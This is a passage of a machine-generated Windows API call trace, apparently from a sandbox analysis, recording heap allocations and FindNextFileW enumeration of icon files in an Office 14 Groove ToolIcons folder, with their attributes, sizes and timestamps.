ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbe103100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="INCOMING.ICO", cAlternateFileName="")) returned 1 [0079.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0079.110] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0079.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0079.110] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0079.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0079.111] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c92e0 [0079.111] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11dbf28 [0079.111] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0079.111] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe103100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbe103100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDOMAIN.ICO", cAlternateFileName="")) returned 1 [0079.111] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0079.111] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0079.111] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0079.111] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0079.111] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0079.111] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9300 [0079.112] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11dc030 [0079.112] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0079.112] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf415e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf415e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAIL.ICO", cAlternateFileName="")) returned 1 [0079.112] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0079.112] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0079.112] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0079.112] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0079.112] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0079.113] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9320 [0079.113] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11dc138 [0079.113] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0079.113] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf415e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x582d2010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf415e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANUAL.ICO", cAlternateFileName="")) returned 1 [0079.113] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0079.113] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0079.113] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0079.113] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0079.113] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0079.113] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9340 [0079.114] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf415e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf415e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messageboxalert.ico", cAlternateFileName="")) returned 1 [0079.114] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf415e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf415e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messageboxerror.ico", cAlternateFileName="")) returned 1 [0079.114] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf415e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf415e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messageboxinfo.ico", cAlternateFileName="")) returned 1 [0079.114] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1608e400, ftCreationTime.dwHighDateTime=0x1ca03f6, ftLastAccessTime.dwLowDateTime=0x58b00bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1608e400, ftLastWriteTime.dwHighDateTime=0x1ca03f6, nFileSizeHigh=0x0, nFileSizeLow=0x9f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ModifiedTelespace.ico", cAlternateFileName="")) returned 1 [0079.114] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf415e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x596e79b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf415e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFLINE.ICO", cAlternateFileName="")) returned 1 [0079.114] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf415e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x597f2350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf415e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONLINE.ICO", cAlternateFileName="")) returned 1 [0079.114] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf415e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6bf68e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf415e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OnLineBusy.ico", cAlternateFileName="")) returned 1 [0079.114] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0728b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x597f2350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0728b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OnLineIdle.ico", cAlternateFileName="")) returned 1 [0079.114] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0728b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0728b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutDomain.ico", cAlternateFileName="")) returned 1 [0079.114] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0728b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0728b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTGOING.ICO", cAlternateFileName="")) returned 1 [0079.114] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0728b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6cd3edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0728b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutSyncPC.ico", cAlternateFileName="")) returned 1 [0079.115] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0728b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6cdd7370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0728b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PersonalContact.ico", cAlternateFileName="")) returned 1 [0079.115] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a3b800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1a3b800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SessionMember.ico", cAlternateFileName="")) returned 1 [0079.115] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a3b800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1a3b800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x9f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SessionOwner.ico", cAlternateFileName="")) returned 1 [0079.115] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a3b800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1a3b800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpaceSelector.ico", cAlternateFileName="")) returned 1 [0079.115] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a3b800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1a3b800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="StatusAway.ico", cAlternateFileName="")) returned 1 [0079.115] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a3b800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1a3b800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="StatusDoNotDisturb.ico", cAlternateFileName="")) returned 1 [0079.115] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a3b800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1a3b800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="StatusOnline.ico", cAlternateFileName="")) returned 1 [0079.115] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a3b800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1a3b800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="TOOLICON.ICO", cAlternateFileName="")) returned 1 [0079.115] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2d4e500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e633690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc2d4e500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2366, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSS.ICO", cAlternateFileName="")) returned 1 [0079.115] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x430b200, ftCreationTime.dwHighDateTime=0x1c9d442, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x430b200, ftLastWriteTime.dwHighDateTime=0x1c9d442, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSS_DocLib.ico", cAlternateFileName="")) returned 1 [0079.115] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x430b200, ftCreationTime.dwHighDateTime=0x1c9d442, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x430b200, ftLastWriteTime.dwHighDateTime=0x1c9d442, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSS_DocLib.ico", cAlternateFileName="")) returned 0 [0079.115] GetLastError () returned 0x12 [0079.115] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0079.116] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0079.116] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a4cdf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.116] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcdf0400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcdf0400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ALERT.ICO", cAlternateFileName="")) returned 1 [0079.116] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcdf0400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcdf0400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHEVRON.ICO", cAlternateFileName="")) returned 1 [0079.116] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcdf0400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcdf0400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPUTER.ICO", cAlternateFileName="")) returned 1 [0079.116] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcdf0400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x604b3070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcdf0400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xea6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContactSelector.ico", cAlternateFileName="")) returned 1 [0079.116] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e764200, ftCreationTime.dwHighDateTime=0x1c9ff6c, ftLastAccessTime.dwLowDateTime=0x52a4cdf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7e764200, ftLastWriteTime.dwHighDateTime=0x1c9ff6c, nFileSizeHigh=0x0, nFileSizeLow=0x6b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="gfserrorfromgroove.ico", cAlternateFileName="")) returned 1 [0079.116] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78806100, ftCreationTime.dwHighDateTime=0x1c9ff6c, ftLastAccessTime.dwLowDateTime=0x52a4cdf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78806100, ftLastWriteTime.dwHighDateTime=0x1c9ff6c, nFileSizeHigh=0x0, nFileSizeLow=0x6b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="gfserrortogroove.ico", cAlternateFileName="")) returned 1 [0079.116] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddee4300, ftCreationTime.dwHighDateTime=0x1c9dff9, ftLastAccessTime.dwLowDateTime=0x537fcc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xddee4300, ftLastWriteTime.dwHighDateTime=0x1c9dff9, nFileSizeHigh=0x0, nFileSizeLow=0x294dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="GWE.ICO", cAlternateFileName="")) returned 1 [0079.116] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe103100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbe103100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="INCOMING.ICO", cAlternateFileName="")) returned 1 [0079.116] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe103100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbe103100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDOMAIN.ICO", cAlternateFileName="")) returned 1 [0079.116] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf415e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf415e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAIL.ICO", cAlternateFileName="")) returned 1 [0079.116] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf415e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x582d2010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf415e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANUAL.ICO", cAlternateFileName="")) returned 1 [0079.116] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf415e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf415e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messageboxalert.ico", cAlternateFileName="")) returned 1 [0079.116] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf415e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf415e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messageboxerror.ico", cAlternateFileName="")) returned 1 [0079.116] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf415e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf415e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messageboxinfo.ico", cAlternateFileName="")) returned 1 [0079.116] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1608e400, ftCreationTime.dwHighDateTime=0x1ca03f6, ftLastAccessTime.dwLowDateTime=0x58b00bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1608e400, 